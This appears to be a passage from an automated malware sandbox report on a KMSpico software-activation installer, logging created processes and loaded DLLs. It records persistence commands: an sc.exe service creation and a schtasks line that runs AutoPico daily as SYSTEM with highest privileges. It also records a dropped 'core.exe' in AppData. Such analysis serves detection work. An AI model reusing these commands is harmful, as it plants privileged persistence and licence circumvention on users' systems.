              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Program Files\KMSpico\scripts\Install_Task.cmd""Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess created: C:\Program Files\KMSpico\UninsHs.exe "C:\Program Files\KMSpico\UninsHs.exe" /r0=KMSpico,default,C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpProcess created: C:\Program Files\KMSpico\KMSELDI.exe "C:\Program Files\KMSpico\KMSELDI.exe" /silent /backupJump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create "Service KMSELDI" binPath= "C:\Program Files\KMSpico\Service_KMS.exe" type= own error= normal start= auto DisplayName= "Service KMSELDI"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /TN "AutoPico Daily Restart" /TR "'C:\Program Files\KMSpico\AutoPico.exe' /silent" /SC DAILY /ST 23:59:59 /RU "NT AUTHORITY\SYSTEM" /RL Highest /FJump to behavior
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 4228 -ip 4228
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4228 -s 1632
              Source: C:\Windows\System32\WerFault.exeProcess created: unknown unknown
              Source: C:\Users\user\Desktop\KMSpico.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\Desktop\KMSpico.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: mpr.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: winhttp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: wtsapi32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: winsta.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: shfolder.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: rstrtmgr.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: ncrypt.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: ntasn1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: textshaping.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: textinputframework.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: coreuicomponents.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: coremessaging.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: ntmarta.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: coremessaging.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: dwmapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: explorerframe.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: sfc.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: sfc_os.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: edputil.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: appresolver.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: slc.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: sppc.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: winhttp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: webio.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: mswsock.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: winnsi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: rasadhlp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: fwpuclnt.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: schannel.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: mskeyprotect.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ntasn1.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ncrypt.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ncryptsslp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: dpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: wbemcomn.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: mpr.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: textinputframework.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: coreuicomponents.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: coremessaging.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: ntmarta.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: shfolder.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: rstrtmgr.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: ncrypt.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: ntasn1.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: textshaping.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: riched20.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: usp10.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: msls31.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: explorerframe.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: sfc.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: sfc_os.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: linkinfo.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: ntshrui.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpSection loaded: cscapi.dllJump to behavior
              Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
              Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: acgenral.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: winmm.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: msacm32.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: version.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: winmmbase.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: winmmbase.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: aclayers.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: sfc.dllJump to behavior
              Source: C:\Program Files\KMSpico\UninsHs.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Windows\System32\schtasks.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\schtasks.exeSection loaded: taskschd.dll
              Source: C:\Windows\System32\schtasks.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\schtasks.exeSection loaded: xmllite.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: mscoree.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: apphelp.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: kernel.appcore.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: version.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: uxtheme.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: windows.storage.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: wldp.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: profapi.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: cryptsp.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: rsaenh.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: cryptbase.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: dwmapi.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: windowscodecs.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: dwrite.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: riched20.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: usp10.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: msls31.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: textshaping.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: wbemcomn.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: mswsock.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: iphlpapi.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: napinsp.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: pnrpnsp.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: wshbth.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: nlaapi.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: dnsapi.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: winrnr.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: rasadhlp.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: textinputframework.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: coreuicomponents.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: coremessaging.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: ntmarta.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: wintypes.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: wintypes.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: wintypes.dll
              Source: C:\Program Files\KMSpico\KMSELDI.exeSection loaded: sxs.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: mscoree.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: apphelp.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: kernel.appcore.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: version.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: windows.storage.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: wldp.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: wbemcomn.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: mswsock.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: profapi.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: cryptsp.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: rsaenh.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: cryptbase.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: iphlpapi.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: dnsapi.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: dhcpcsvc6.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: dhcpcsvc.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: winnsi.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: amsi.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: userenv.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: rasadhlp.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: fwpuclnt.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: napinsp.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: pnrpnsp.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: wshbth.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: nlaapi.dll
              Source: C:\Program Files\KMSpico\AutoPico.exeSection loaded: winrnr.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: esent.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: es.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: bitsproxy.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: mpr.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wersvc.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: windowsperformancerecordercontrol.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: weretw.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: wer.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
              Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
